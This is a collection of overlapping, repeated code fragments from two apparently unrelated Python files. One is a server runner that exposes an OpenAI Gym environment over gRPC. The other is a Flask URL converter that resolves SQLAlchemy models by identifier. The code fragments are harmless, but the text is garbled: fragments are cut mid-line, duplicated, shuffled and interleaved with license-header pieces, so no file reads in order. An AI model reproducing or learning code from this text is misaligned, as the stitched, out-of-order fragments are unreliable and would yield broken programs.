"from ude import ( UDEEnvironment, UDEServer, UDEStepInvokeType, Compression, ServerCredentials ) from ude_gym_bridge.gym_environment_adapter import",
"Inc. or its affiliates. All Rights Reserved. # # # # Licensed under",
"at # # # # http://www.apache.org/licenses/LICENSE-2.0 # # # # Unless required by",
"from ude_gym_bridge.gym_environment_adapter import GymEnvironmentAdapter class GymEnvRemoteRunner(object): \"\"\" Gym Environment \"\"\" def __init__(self, env_name:",
"its affiliates. All Rights Reserved. # # # # Licensed under the Apache",
"invoke period (used only with PERIODIC step_invoke_type) port (Optional[int]): Port to use for",
"\"AS IS\" BASIS, # # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either",
"in writing, software # # distributed under the License is distributed on an",
"period (used only with PERIODIC step_invoke_type) port (Optional[int]): Port to use for UDE",
"to certificate private key and body/chain file, or bytes of the certificate private",
"obtain a copy of the License at # # # # http://www.apache.org/licenses/LICENSE-2.0 #",
"-> None: \"\"\" Spin till UDE Server terminates. \"\"\" self._ude_server.spin() def main(): gym_env",
"Gym Environment name. agent_name (str): Name of agent to use. render (bool): the",
"or agreed to in writing, software # # distributed under the License is",
"CONDITIONS OF ANY KIND, either express or implied. # # See the License",
"(Union[int, float]): the maximum wait time to respond step request to UDE clients.",
"credentials are provided). timeout_wait (Union[int, float]): the maximum wait time to respond step",
"# # Unless required by applicable law or agreed to in writing, software",
"applied when credentials are provided). timeout_wait (Union[int, float]): the maximum wait time to",
"private key and body/chain file, or bytes of the certificate private key and",
"use this file except in compliance with the License. # # You may",
"specific language governing permissions and # # limitations under the License. # #################################################################################",
"and # # limitations under the License. # ################################################################################# \"\"\"A class for Gym",
"gRPC runtime) to configure the channel. compression (Compression) = channel compression type (default:",
"port (Optional[int]): Port to use for UDE Server (default: 3003) options (Optional[List[Tuple[str, Any]]]):",
"key and body/chain to use with an SSL-enabled Channel. auth_key (Optional[str]): channel authentication",
"except in compliance with the License. # # You may obtain a copy",
"WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See",
"class for Gym Environment.\"\"\" from typing import Optional, List, Tuple, Union, Any, Iterable",
"__init__(self, env_name: str = \"CartPole-v0\", agent_name: str = \"agent0\", render: bool = True,",
"OR CONDITIONS OF ANY KIND, either express or implied. # # See the",
"UDEStepInvokeType.WAIT_FOREVER, step_invoke_period: Union[int, float] = 120.0, port: Optional[int] = None, options: Optional[List[Tuple[str, Any]]]",
"or bytes of the certificate private key and body/chain to use with an",
"self._ude_env = UDEEnvironment(ude_env_adapter=self._adapter) self._ude_server = UDEServer(ude_env=self._ude_env, step_invoke_type=step_invoke_type, step_invoke_period=step_invoke_period, port=port, options=options, compression=compression, credentials=credentials, auth_key=auth_key,",
"ude_gym_bridge.gym_environment_adapter import GymEnvironmentAdapter class GymEnvRemoteRunner(object): \"\"\" Gym Environment \"\"\" def __init__(self, env_name: str",
"to respond step request to UDE clients. kwargs: Arbitrary keyword arguments for grpc.server",
"Server terminates. \"\"\" self._ude_server.spin() def main(): gym_env = GymEnvRemoteRunner() gym_env.start() gym_env.spin() if __name__",
"(str): Name of agent to use. render (bool): the flag to render OpenAI",
"# # distributed under the License is distributed on an \"AS IS\" BASIS,",
"a copy of the License at # # # # http://www.apache.org/licenses/LICENSE-2.0 # #",
"# distributed under the License is distributed on an \"AS IS\" BASIS, #",
"UDEServer, UDEStepInvokeType, Compression, ServerCredentials ) from ude_gym_bridge.gym_environment_adapter import GymEnvironmentAdapter class GymEnvRemoteRunner(object): \"\"\" Gym",
"vs PERIODIC) step_invoke_period (Union[int, float]): step invoke period (used only with PERIODIC step_invoke_type)",
"self._ude_server.close() def spin(self) -> None: \"\"\" Spin till UDE Server terminates. \"\"\" self._ude_server.spin()",
"respond step request to UDE clients. kwargs: Arbitrary keyword arguments for grpc.server \"\"\"",
"None, auth_key: Optional[str] = None, timeout_wait: Union[int, float] = 60.0, **kwargs): \"\"\" Args:",
"grpc.server \"\"\" self._adapter = GymEnvironmentAdapter(env_name=env_name, agent_name=agent_name, render=render) self._ude_env = UDEEnvironment(ude_env_adapter=self._adapter) self._ude_server = UDEServer(ude_env=self._ude_env,",
"Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]] = None, auth_key: Optional[str] = None, timeout_wait: Union[int, float] =",
"options (Optional[List[Tuple[str, Any]]]): An optional list of key-value pairs (:term:`channel_arguments` in gRPC runtime)",
"Environment.\"\"\" from typing import Optional, List, Tuple, Union, Any, Iterable from ude import",
"under the License. # ################################################################################# \"\"\"A class for Gym Environment.\"\"\" from typing import",
"= Compression.NoCompression, credentials: Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]] = None, auth_key: Optional[str] = None, timeout_wait:",
"self._ude_server.spin() def main(): gym_env = GymEnvRemoteRunner() gym_env.start() gym_env.spin() if __name__ == '__main__': main()",
"key-value pairs (:term:`channel_arguments` in gRPC runtime) to configure the channel. compression (Compression) =",
"either express or implied. # # See the License for the specific language",
"\"\"\" self._ude_server.close() def spin(self) -> None: \"\"\" Spin till UDE Server terminates. \"\"\"",
"UDE Server. \"\"\" self._ude_server.start() def stop(self) -> None: \"\"\" Stop UDE Server. \"\"\"",
"auth_key (Optional[str]): channel authentication key (only applied when credentials are provided). timeout_wait (Union[int,",
"by applicable law or agreed to in writing, software # # distributed under",
"wait time to respond step request to UDE clients. kwargs: Arbitrary keyword arguments",
"(const.UDEStepInvokeType): step invoke type (WAIT_FOREVER vs PERIODIC) step_invoke_period (Union[int, float]): step invoke period",
"credentials (Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]]): grpc.ServerCredentials, the path to certificate private key and body/chain",
"# # # # http://www.apache.org/licenses/LICENSE-2.0 # # # # Unless required by applicable",
"License is distributed on an \"AS IS\" BASIS, # # WITHOUT WARRANTIES OR",
"compression=compression, credentials=credentials, auth_key=auth_key, timeout_wait=timeout_wait, **kwargs) def start(self) -> None: \"\"\" Start UDE Server.",
"(str): OpenAI Gym Environment name. agent_name (str): Name of agent to use. render",
"channel authentication key (only applied when credentials are provided). timeout_wait (Union[int, float]): the",
"= GymEnvironmentAdapter(env_name=env_name, agent_name=agent_name, render=render) self._ude_env = UDEEnvironment(ude_env_adapter=self._adapter) self._ude_server = UDEServer(ude_env=self._ude_env, step_invoke_type=step_invoke_type, step_invoke_period=step_invoke_period, port=port,",
"Unless required by applicable law or agreed to in writing, software # #",
"certificate private key and body/chain file, or bytes of the certificate private key",
"step_invoke_period: Union[int, float] = 120.0, port: Optional[int] = None, options: Optional[List[Tuple[str, Any]]] =",
"UDEEnvironment, UDEServer, UDEStepInvokeType, Compression, ServerCredentials ) from ude_gym_bridge.gym_environment_adapter import GymEnvironmentAdapter class GymEnvRemoteRunner(object): \"\"\"",
"= None, compression: Compression = Compression.NoCompression, credentials: Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]] = None, auth_key:",
"Iterable[str], Iterable[bytes]]]): grpc.ServerCredentials, the path to certificate private key and body/chain file, or",
"Union, Any, Iterable from ude import ( UDEEnvironment, UDEServer, UDEStepInvokeType, Compression, ServerCredentials )",
"timeout_wait=timeout_wait, **kwargs) def start(self) -> None: \"\"\" Start UDE Server. \"\"\" self._ude_server.start() def",
"None: \"\"\" Start UDE Server. \"\"\" self._ude_server.start() def stop(self) -> None: \"\"\" Stop",
"License. # # You may obtain a copy of the License at #",
"Server. \"\"\" self._ude_server.close() def spin(self) -> None: \"\"\" Spin till UDE Server terminates.",
"= 60.0, **kwargs): \"\"\" Args: env_name (str): OpenAI Gym Environment name. agent_name (str):",
"port: Optional[int] = None, options: Optional[List[Tuple[str, Any]]] = None, compression: Compression = Compression.NoCompression,",
"Arbitrary keyword arguments for grpc.server \"\"\" self._adapter = GymEnvironmentAdapter(env_name=env_name, agent_name=agent_name, render=render) self._ude_env =",
"step_invoke_type: UDEStepInvokeType = UDEStepInvokeType.WAIT_FOREVER, step_invoke_period: Union[int, float] = 120.0, port: Optional[int] = None,",
"file, or bytes of the certificate private key and body/chain to use with",
"\"CartPole-v0\", agent_name: str = \"agent0\", render: bool = True, step_invoke_type: UDEStepInvokeType = UDEStepInvokeType.WAIT_FOREVER,",
"None, options: Optional[List[Tuple[str, Any]]] = None, compression: Compression = Compression.NoCompression, credentials: Optional[Union[ServerCredentials, Iterable[str],",
"# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #",
"invoke type (WAIT_FOREVER vs PERIODIC) step_invoke_period (Union[int, float]): step invoke period (used only",
"(default: NoCompression) credentials (Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]]): grpc.ServerCredentials, the path to certificate private key",
"the License. # ################################################################################# \"\"\"A class for Gym Environment.\"\"\" from typing import Optional,",
"UDEEnvironment(ude_env_adapter=self._adapter) self._ude_server = UDEServer(ude_env=self._ude_env, step_invoke_type=step_invoke_type, step_invoke_period=step_invoke_period, port=port, options=options, compression=compression, credentials=credentials, auth_key=auth_key, timeout_wait=timeout_wait, **kwargs)",
"\"\"\"A class for Gym Environment.\"\"\" from typing import Optional, List, Tuple, Union, Any,",
"float] = 120.0, port: Optional[int] = None, options: Optional[List[Tuple[str, Any]]] = None, compression:",
"of agent to use. render (bool): the flag to render OpenAI Gym environment",
"step_invoke_period (Union[int, float]): step invoke period (used only with PERIODIC step_invoke_type) port (Optional[int]):",
"Optional[int] = None, options: Optional[List[Tuple[str, Any]]] = None, compression: Compression = Compression.NoCompression, credentials:",
"import ( UDEEnvironment, UDEServer, UDEStepInvokeType, Compression, ServerCredentials ) from ude_gym_bridge.gym_environment_adapter import GymEnvironmentAdapter class",
"use with an SSL-enabled Channel. auth_key (Optional[str]): channel authentication key (only applied when",
"or its affiliates. All Rights Reserved. # # # # Licensed under the",
"(Union[int, float]): step invoke period (used only with PERIODIC step_invoke_type) port (Optional[int]): Port",
"render: bool = True, step_invoke_type: UDEStepInvokeType = UDEStepInvokeType.WAIT_FOREVER, step_invoke_period: Union[int, float] = 120.0,",
"the certificate private key and body/chain to use with an SSL-enabled Channel. auth_key",
"env_name: str = \"CartPole-v0\", agent_name: str = \"agent0\", render: bool = True, step_invoke_type:",
"Version 2.0 (the \"License\"). # # You may not use this file except",
"(Optional[List[Tuple[str, Any]]]): An optional list of key-value pairs (:term:`channel_arguments` in gRPC runtime) to",
"ANY KIND, either express or implied. # # See the License for the",
"(:term:`channel_arguments` in gRPC runtime) to configure the channel. compression (Compression) = channel compression",
"= UDEStepInvokeType.WAIT_FOREVER, step_invoke_period: Union[int, float] = 120.0, port: Optional[int] = None, options: Optional[List[Tuple[str,",
"= \"CartPole-v0\", agent_name: str = \"agent0\", render: bool = True, step_invoke_type: UDEStepInvokeType =",
"provided). timeout_wait (Union[int, float]): the maximum wait time to respond step request to",
"\"\"\" Spin till UDE Server terminates. \"\"\" self._ude_server.spin() def main(): gym_env = GymEnvRemoteRunner()",
"None: \"\"\" Stop UDE Server. \"\"\" self._ude_server.close() def spin(self) -> None: \"\"\" Spin",
"ServerCredentials ) from ude_gym_bridge.gym_environment_adapter import GymEnvironmentAdapter class GymEnvRemoteRunner(object): \"\"\" Gym Environment \"\"\" def",
"auth_key: Optional[str] = None, timeout_wait: Union[int, float] = 60.0, **kwargs): \"\"\" Args: env_name",
"under the Apache License, Version 2.0 (the \"License\"). # # You may not",
"request to UDE clients. kwargs: Arbitrary keyword arguments for grpc.server \"\"\" self._adapter =",
"for the specific language governing permissions and # # limitations under the License.",
"# # You may obtain a copy of the License at # #",
"step_invoke_type) port (Optional[int]): Port to use for UDE Server (default: 3003) options (Optional[List[Tuple[str,",
"from typing import Optional, List, Tuple, Union, Any, Iterable from ude import (",
"key (only applied when credentials are provided). timeout_wait (Union[int, float]): the maximum wait",
"the License is distributed on an \"AS IS\" BASIS, # # WITHOUT WARRANTIES",
"(Compression) = channel compression type (default: NoCompression) credentials (Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]]): grpc.ServerCredentials, the",
"GymEnvRemoteRunner(object): \"\"\" Gym Environment \"\"\" def __init__(self, env_name: str = \"CartPole-v0\", agent_name: str",
"License for the specific language governing permissions and # # limitations under the",
"Any, Iterable from ude import ( UDEEnvironment, UDEServer, UDEStepInvokeType, Compression, ServerCredentials ) from",
"may obtain a copy of the License at # # # # http://www.apache.org/licenses/LICENSE-2.0",
"Compression.NoCompression, credentials: Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]] = None, auth_key: Optional[str] = None, timeout_wait: Union[int,",
"BASIS, # # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or",
"\"\"\" def __init__(self, env_name: str = \"CartPole-v0\", agent_name: str = \"agent0\", render: bool",
"# See the License for the specific language governing permissions and # #",
"See the License for the specific language governing permissions and # # limitations",
"Server. \"\"\" self._ude_server.start() def stop(self) -> None: \"\"\" Stop UDE Server. \"\"\" self._ude_server.close()",
"Gym environment or not. step_invoke_type (const.UDEStepInvokeType): step invoke type (WAIT_FOREVER vs PERIODIC) step_invoke_period",
"options=options, compression=compression, credentials=credentials, auth_key=auth_key, timeout_wait=timeout_wait, **kwargs) def start(self) -> None: \"\"\" Start UDE",
"for Gym Environment.\"\"\" from typing import Optional, List, Tuple, Union, Any, Iterable from",
"def spin(self) -> None: \"\"\" Spin till UDE Server terminates. \"\"\" self._ude_server.spin() def",
"Any]]]): An optional list of key-value pairs (:term:`channel_arguments` in gRPC runtime) to configure",
"options: Optional[List[Tuple[str, Any]]] = None, compression: Compression = Compression.NoCompression, credentials: Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]]",
"limitations under the License. # ################################################################################# \"\"\"A class for Gym Environment.\"\"\" from typing",
"auth_key=auth_key, timeout_wait=timeout_wait, **kwargs) def start(self) -> None: \"\"\" Start UDE Server. \"\"\" self._ude_server.start()",
"-> None: \"\"\" Stop UDE Server. \"\"\" self._ude_server.close() def spin(self) -> None: \"\"\"",
"to UDE clients. kwargs: Arbitrary keyword arguments for grpc.server \"\"\" self._adapter = GymEnvironmentAdapter(env_name=env_name,",
"Start UDE Server. \"\"\" self._ude_server.start() def stop(self) -> None: \"\"\" Stop UDE Server.",
"UDE Server. \"\"\" self._ude_server.close() def spin(self) -> None: \"\"\" Spin till UDE Server",
"(only applied when credentials are provided). timeout_wait (Union[int, float]): the maximum wait time",
"\"\"\" self._ude_server.spin() def main(): gym_env = GymEnvRemoteRunner() gym_env.start() gym_env.spin() if __name__ == '__main__':",
"= None, timeout_wait: Union[int, float] = 60.0, **kwargs): \"\"\" Args: env_name (str): OpenAI",
"the specific language governing permissions and # # limitations under the License. #",
"spin(self) -> None: \"\"\" Spin till UDE Server terminates. \"\"\" self._ude_server.spin() def main():",
"render=render) self._ude_env = UDEEnvironment(ude_env_adapter=self._adapter) self._ude_server = UDEServer(ude_env=self._ude_env, step_invoke_type=step_invoke_type, step_invoke_period=step_invoke_period, port=port, options=options, compression=compression, credentials=credentials,",
"**kwargs): \"\"\" Args: env_name (str): OpenAI Gym Environment name. agent_name (str): Name of"
] |
[] |
[
"for the object model = cls.get(**{self.__param__: value}) if model is None: raise NotFound",
"= map self.model = model return @property def models(self): global MODELS if not",
"models(self): global MODELS if not MODELS: gather_models() return MODELS def to_python(self, value): mapper",
"other custom parameter url converters. For instance, here is how you might use",
"and issubclass(cls, db.Model): # class name MODELS[cls.__name__] = cls # lowercase name MODELS[cls.__name__.lower()]",
"in url converter ' 'not part of application models.'.format(self.model)) # set up class",
"# set up class for conversion cls = mapper[self.model] # search for the",
"models from current context and set global dictionary to be used in url",
"cls.get(**{self.__param__: value}) if model is None: raise NotFound return model def to_url(self, value):",
"db.Model): # class name MODELS[cls.__name__] = cls # lowercase name MODELS[cls.__name__.lower()] = cls",
"= NameConverter # ... handlers ... @app.route('/users/<name(User):user>') def get_user(user): return jsonify(user.json()) \"\"\" __param__",
"search for the object model = cls.get(**{self.__param__: value}) if model is None: raise",
"if isinstance(cls, type) and issubclass(cls, db.Model): # class name MODELS[cls.__name__] = cls #",
"the object. This method simplifies a lot of the boilerplate needed to do",
"exists if self.model not in mapper: raise AssertionError( 'Specified model `{}` in url",
"__param__ = 'name' app.url_map.converters['name'] = NameConverter # ... handlers ... @app.route('/users/<name(User):user>') def get_user(user):",
"flask import current_app, has_app_context if not has_app_context(): return if 'sqlalchemy' not in current_app.extensions:",
"re from werkzeug.routing import BaseConverter from werkzeug.exceptions import NotFound # helpers # -------",
"cls # snake_case name words = re.findall(r'([A-Z][0-9a-z]+)', cls.__name__) if len(words) > 1: alias",
"of the boilerplate needed to do model look ups in REST apis. Examples:",
"werkzeug.routing import BaseConverter from werkzeug.exceptions import NotFound # helpers # ------- MODELS =",
"MODELS from flask import current_app, has_app_context if not has_app_context(): return if 'sqlalchemy' not",
"is how you might use it to create a name converter: .. code-block::",
"MODELS: gather_models() return MODELS def to_python(self, value): mapper = self.models # make sure",
"has_app_context(): return if 'sqlalchemy' not in current_app.extensions: return # inspect current models and",
"self.map = map self.model = model return @property def models(self): global MODELS if",
"cls.__name__) if len(words) > 1: alias = '_'.join(map(lambda x: x.lower(), words)) MODELS[alias] =",
"words = re.findall(r'([A-Z][0-9a-z]+)', cls.__name__) if len(words) > 1: alias = '_'.join(map(lambda x: x.lower(),",
"import BaseConverter from werkzeug.exceptions import NotFound # helpers # ------- MODELS = dict()",
"custom parameter url converters. For instance, here is how you might use it",
"... @app.route('/users/<name(User):user>') def get_user(user): return jsonify(user.json()) \"\"\" __param__ = 'id' def __init__(self, map,",
"MODELS if not MODELS: gather_models() return MODELS def to_python(self, value): mapper = self.models",
"for conversion cls = mapper[self.model] # search for the object model = cls.get(**{self.__param__:",
"# search for the object model = cls.get(**{self.__param__: value}) if model is None:",
"MODELS[cls.__name__] = cls # lowercase name MODELS[cls.__name__.lower()] = cls # snake_case name words",
"Examples: .. code-block:: python @app.route('/users/<id(User):user>') def get_user(user): return jsonify(user.json()) In addition, this class",
"if len(words) > 1: alias = '_'.join(map(lambda x: x.lower(), words)) MODELS[alias] = cls",
"used for other custom parameter url converters. For instance, here is how you",
"lowercase name MODELS[cls.__name__.lower()] = cls # snake_case name words = re.findall(r'([A-Z][0-9a-z]+)', cls.__name__) if",
"BaseConverter from werkzeug.exceptions import NotFound # helpers # ------- MODELS = dict() def",
"__init__(self, map, model): self.map = map self.model = model return @property def models(self):",
"if 'sqlalchemy' not in current_app.extensions: return # inspect current models and add to",
"try: return dict(cls._sa_registry._class_registry) except: return dict(cls._decl_class_registry) return def gather_models(): \"\"\" Inspect sqlalchemy models",
"a model identifier, look up the model and return the object. This method",
"def gather_models(): \"\"\" Inspect sqlalchemy models from current context and set global dictionary",
"alias = '_'.join(map(lambda x: x.lower(), words)) MODELS[alias] = cls return # converters #",
"inputs containing a model identifier, look up the model and return the object.",
"the object model = cls.get(**{self.__param__: value}) if model is None: raise NotFound return",
"be inherited and used for other custom parameter url converters. For instance, here",
"model `{}` in url converter ' 'not part of application models.'.format(self.model)) # set",
"model. \"\"\" try: return dict(cls._sa_registry._class_registry) except: return dict(cls._decl_class_registry) return def gather_models(): \"\"\" Inspect",
"isinstance(cls, type) and issubclass(cls, db.Model): # class name MODELS[cls.__name__] = cls # lowercase",
"= cls.get(**{self.__param__: value}) if model is None: raise NotFound return model def to_url(self,",
"re.findall(r'([A-Z][0-9a-z]+)', cls.__name__) if len(words) > 1: alias = '_'.join(map(lambda x: x.lower(), words)) MODELS[alias]",
"map db = current_app.extensions['sqlalchemy'].db registry = class_registry(db.Model) for cls in registry.values(): if isinstance(cls,",
"\"\"\" global MODELS from flask import current_app, has_app_context if not has_app_context(): return if",
"# ------- MODELS = dict() def class_registry(cls): \"\"\" Function for dynamically getting class",
"code-block:: python @app.route('/users/<id(User):user>') def get_user(user): return jsonify(user.json()) In addition, this class can be",
"to do model look ups in REST apis. Examples: .. code-block:: python @app.route('/users/<id(User):user>')",
"use it to create a name converter: .. code-block:: python class NameConverter(ModelConverter): __param__",
"parameter url converters. For instance, here is how you might use it to",
"'name' app.url_map.converters['name'] = NameConverter # ... handlers ... @app.route('/users/<name(User):user>') def get_user(user): return jsonify(user.json())",
"class NameConverter(ModelConverter): __param__ = 'name' app.url_map.converters['name'] = NameConverter # ... handlers ... @app.route('/users/<name(User):user>')",
"dictionary to be used in url conversion. \"\"\" global MODELS from flask import",
"python @app.route('/users/<id(User):user>') def get_user(user): return jsonify(user.json()) In addition, this class can be inherited",
"class name MODELS[cls.__name__] = cls # lowercase name MODELS[cls.__name__.lower()] = cls # snake_case",
"it to create a name converter: .. code-block:: python class NameConverter(ModelConverter): __param__ =",
"dict(cls._decl_class_registry) return def gather_models(): \"\"\" Inspect sqlalchemy models from current context and set",
"x: x.lower(), words)) MODELS[alias] = cls return # converters # ---------- class ModelConverter(BaseConverter):",
"how you might use it to create a name converter: .. code-block:: python",
"url inputs containing a model identifier, look up the model and return the",
"in mapper: raise AssertionError( 'Specified model `{}` in url converter ' 'not part",
"object model = cls.get(**{self.__param__: value}) if model is None: raise NotFound return model",
"set up class for conversion cls = mapper[self.model] # search for the object",
"model): self.map = map self.model = model return @property def models(self): global MODELS",
"return jsonify(user.json()) \"\"\" __param__ = 'id' def __init__(self, map, model): self.map = map",
"jsonify(user.json()) \"\"\" __param__ = 'id' def __init__(self, map, model): self.map = map self.model",
"used in url conversion. \"\"\" global MODELS from flask import current_app, has_app_context if",
"and set global dictionary to be used in url conversion. \"\"\" global MODELS",
"inherited and used for other custom parameter url converters. For instance, here is",
"class registry dictionary from specified model. \"\"\" try: return dict(cls._sa_registry._class_registry) except: return dict(cls._decl_class_registry)",
"not in mapper: raise AssertionError( 'Specified model `{}` in url converter ' 'not",
"# ------- import re from werkzeug.routing import BaseConverter from werkzeug.exceptions import NotFound #",
"current_app, has_app_context if not has_app_context(): return if 'sqlalchemy' not in current_app.extensions: return #",
"from flask import current_app, has_app_context if not has_app_context(): return if 'sqlalchemy' not in",
"# inspect current models and add to map db = current_app.extensions['sqlalchemy'].db registry =",
"conversion. \"\"\" global MODELS from flask import current_app, has_app_context if not has_app_context(): return",
"snake_case name words = re.findall(r'([A-Z][0-9a-z]+)', cls.__name__) if len(words) > 1: alias = '_'.join(map(lambda",
"For instance, here is how you might use it to create a name",
"def class_registry(cls): \"\"\" Function for dynamically getting class registry dictionary from specified model.",
"MODELS def to_python(self, value): mapper = self.models # make sure model exists if",
"except: return dict(cls._decl_class_registry) return def gather_models(): \"\"\" Inspect sqlalchemy models from current context",
"converters. For instance, here is how you might use it to create a",
"has_app_context if not has_app_context(): return if 'sqlalchemy' not in current_app.extensions: return # inspect",
"self.models # make sure model exists if self.model not in mapper: raise AssertionError(",
"@property def models(self): global MODELS if not MODELS: gather_models() return MODELS def to_python(self,",
"if not MODELS: gather_models() return MODELS def to_python(self, value): mapper = self.models #",
"inspect current models and add to map db = current_app.extensions['sqlalchemy'].db registry = class_registry(db.Model)",
"method simplifies a lot of the boilerplate needed to do model look ups",
"# make sure model exists if self.model not in mapper: raise AssertionError( 'Specified",
"might use it to create a name converter: .. code-block:: python class NameConverter(ModelConverter):",
"= mapper[self.model] # search for the object model = cls.get(**{self.__param__: value}) if model",
"from current context and set global dictionary to be used in url conversion.",
"global MODELS if not MODELS: gather_models() return MODELS def to_python(self, value): mapper =",
"type) and issubclass(cls, db.Model): # class name MODELS[cls.__name__] = cls # lowercase name",
"look up the model and return the object. This method simplifies a lot",
"# ... handlers ... @app.route('/users/<name(User):user>') def get_user(user): return jsonify(user.json()) \"\"\" __param__ = 'id'",
"and add to map db = current_app.extensions['sqlalchemy'].db registry = class_registry(db.Model) for cls in",
"self.model not in mapper: raise AssertionError( 'Specified model `{}` in url converter '",
"len(words) > 1: alias = '_'.join(map(lambda x: x.lower(), words)) MODELS[alias] = cls return",
"helpers # ------- MODELS = dict() def class_registry(cls): \"\"\" Function for dynamically getting",
"lot of the boilerplate needed to do model look ups in REST apis.",
"model look ups in REST apis. Examples: .. code-block:: python @app.route('/users/<id(User):user>') def get_user(user):",
"converter: .. code-block:: python class NameConverter(ModelConverter): __param__ = 'name' app.url_map.converters['name'] = NameConverter #",
"= current_app.extensions['sqlalchemy'].db registry = class_registry(db.Model) for cls in registry.values(): if isinstance(cls, type) and",
"set global dictionary to be used in url conversion. \"\"\" global MODELS from",
"in REST apis. Examples: .. code-block:: python @app.route('/users/<id(User):user>') def get_user(user): return jsonify(user.json()) In",
"return dict(cls._decl_class_registry) return def gather_models(): \"\"\" Inspect sqlalchemy models from current context and",
"return jsonify(user.json()) In addition, this class can be inherited and used for other",
"`{}` in url converter ' 'not part of application models.'.format(self.model)) # set up",
"\"\"\" Function for dynamically getting class registry dictionary from specified model. \"\"\" try:",
"value}) if model is None: raise NotFound return model def to_url(self, value): return",
"to be used in url conversion. \"\"\" global MODELS from flask import current_app,",
"dict() def class_registry(cls): \"\"\" Function for dynamically getting class registry dictionary from specified",
"create a name converter: .. code-block:: python class NameConverter(ModelConverter): __param__ = 'name' app.url_map.converters['name']",
"not in current_app.extensions: return # inspect current models and add to map db",
"application models.'.format(self.model)) # set up class for conversion cls = mapper[self.model] # search",
"= model return @property def models(self): global MODELS if not MODELS: gather_models() return",
"MODELS = dict() def class_registry(cls): \"\"\" Function for dynamically getting class registry dictionary",
"MODELS[alias] = cls return # converters # ---------- class ModelConverter(BaseConverter): \"\"\" For url",
"words)) MODELS[alias] = cls return # converters # ---------- class ModelConverter(BaseConverter): \"\"\" For",
"do model look ups in REST apis. Examples: .. code-block:: python @app.route('/users/<id(User):user>') def",
"the model and return the object. This method simplifies a lot of the",
"'_'.join(map(lambda x: x.lower(), words)) MODELS[alias] = cls return # converters # ---------- class",
"= re.findall(r'([A-Z][0-9a-z]+)', cls.__name__) if len(words) > 1: alias = '_'.join(map(lambda x: x.lower(), words))",
"apis. Examples: .. code-block:: python @app.route('/users/<id(User):user>') def get_user(user): return jsonify(user.json()) In addition, this",
"addition, this class can be inherited and used for other custom parameter url",
"code-block:: python class NameConverter(ModelConverter): __param__ = 'name' app.url_map.converters['name'] = NameConverter # ... handlers",
"class for conversion cls = mapper[self.model] # search for the object model =",
"url converter ' 'not part of application models.'.format(self.model)) # set up class for",
"if not has_app_context(): return if 'sqlalchemy' not in current_app.extensions: return # inspect current",
"# helpers # ------- MODELS = dict() def class_registry(cls): \"\"\" Function for dynamically",
"conversion cls = mapper[self.model] # search for the object model = cls.get(**{self.__param__: value})",
".. code-block:: python @app.route('/users/<id(User):user>') def get_user(user): return jsonify(user.json()) In addition, this class can",
"registry = class_registry(db.Model) for cls in registry.values(): if isinstance(cls, type) and issubclass(cls, db.Model):",
"self.model = model return @property def models(self): global MODELS if not MODELS: gather_models()",
"For url inputs containing a model identifier, look up the model and return",
"converters # ---------- class ModelConverter(BaseConverter): \"\"\" For url inputs containing a model identifier,",
"from specified model. \"\"\" try: return dict(cls._sa_registry._class_registry) except: return dict(cls._decl_class_registry) return def gather_models():",
"to create a name converter: .. code-block:: python class NameConverter(ModelConverter): __param__ = 'name'",
"model is None: raise NotFound return model def to_url(self, value): return super(ModelConverter, self).to_url(getattr(value,",
"return # converters # ---------- class ModelConverter(BaseConverter): \"\"\" For url inputs containing a",
"'not part of application models.'.format(self.model)) # set up class for conversion cls =",
"in url conversion. \"\"\" global MODELS from flask import current_app, has_app_context if not",
"@app.route('/users/<id(User):user>') def get_user(user): return jsonify(user.json()) In addition, this class can be inherited and",
"boilerplate needed to do model look ups in REST apis. Examples: .. code-block::",
"models and add to map db = current_app.extensions['sqlalchemy'].db registry = class_registry(db.Model) for cls",
"NameConverter # ... handlers ... @app.route('/users/<name(User):user>') def get_user(user): return jsonify(user.json()) \"\"\" __param__ =",
"registry dictionary from specified model. \"\"\" try: return dict(cls._sa_registry._class_registry) except: return dict(cls._decl_class_registry) return",
"for cls in registry.values(): if isinstance(cls, type) and issubclass(cls, db.Model): # class name",
"cls in registry.values(): if isinstance(cls, type) and issubclass(cls, db.Model): # class name MODELS[cls.__name__]",
"return def gather_models(): \"\"\" Inspect sqlalchemy models from current context and set global",
"class can be inherited and used for other custom parameter url converters. For",
"converter ' 'not part of application models.'.format(self.model)) # set up class for conversion",
"can be inherited and used for other custom parameter url converters. For instance,",
"'sqlalchemy' not in current_app.extensions: return # inspect current models and add to map",
"MODELS[cls.__name__.lower()] = cls # snake_case name words = re.findall(r'([A-Z][0-9a-z]+)', cls.__name__) if len(words) >",
"simplifies a lot of the boilerplate needed to do model look ups in",
"dictionary from specified model. \"\"\" try: return dict(cls._sa_registry._class_registry) except: return dict(cls._decl_class_registry) return def",
"identifier, look up the model and return the object. This method simplifies a",
"a name converter: .. code-block:: python class NameConverter(ModelConverter): __param__ = 'name' app.url_map.converters['name'] =",
"# converters # ---------- class ModelConverter(BaseConverter): \"\"\" For url inputs containing a model",
"'Specified model `{}` in url converter ' 'not part of application models.'.format(self.model)) #",
"cls = mapper[self.model] # search for the object model = cls.get(**{self.__param__: value}) if",
"cls # lowercase name MODELS[cls.__name__.lower()] = cls # snake_case name words = re.findall(r'([A-Z][0-9a-z]+)',",
"... handlers ... @app.route('/users/<name(User):user>') def get_user(user): return jsonify(user.json()) \"\"\" __param__ = 'id' def",
"1: alias = '_'.join(map(lambda x: x.lower(), words)) MODELS[alias] = cls return # converters",
"name words = re.findall(r'([A-Z][0-9a-z]+)', cls.__name__) if len(words) > 1: alias = '_'.join(map(lambda x:",
"context and set global dictionary to be used in url conversion. \"\"\" global",
"return dict(cls._sa_registry._class_registry) except: return dict(cls._decl_class_registry) return def gather_models(): \"\"\" Inspect sqlalchemy models from",
"model exists if self.model not in mapper: raise AssertionError( 'Specified model `{}` in",
"models.'.format(self.model)) # set up class for conversion cls = mapper[self.model] # search for",
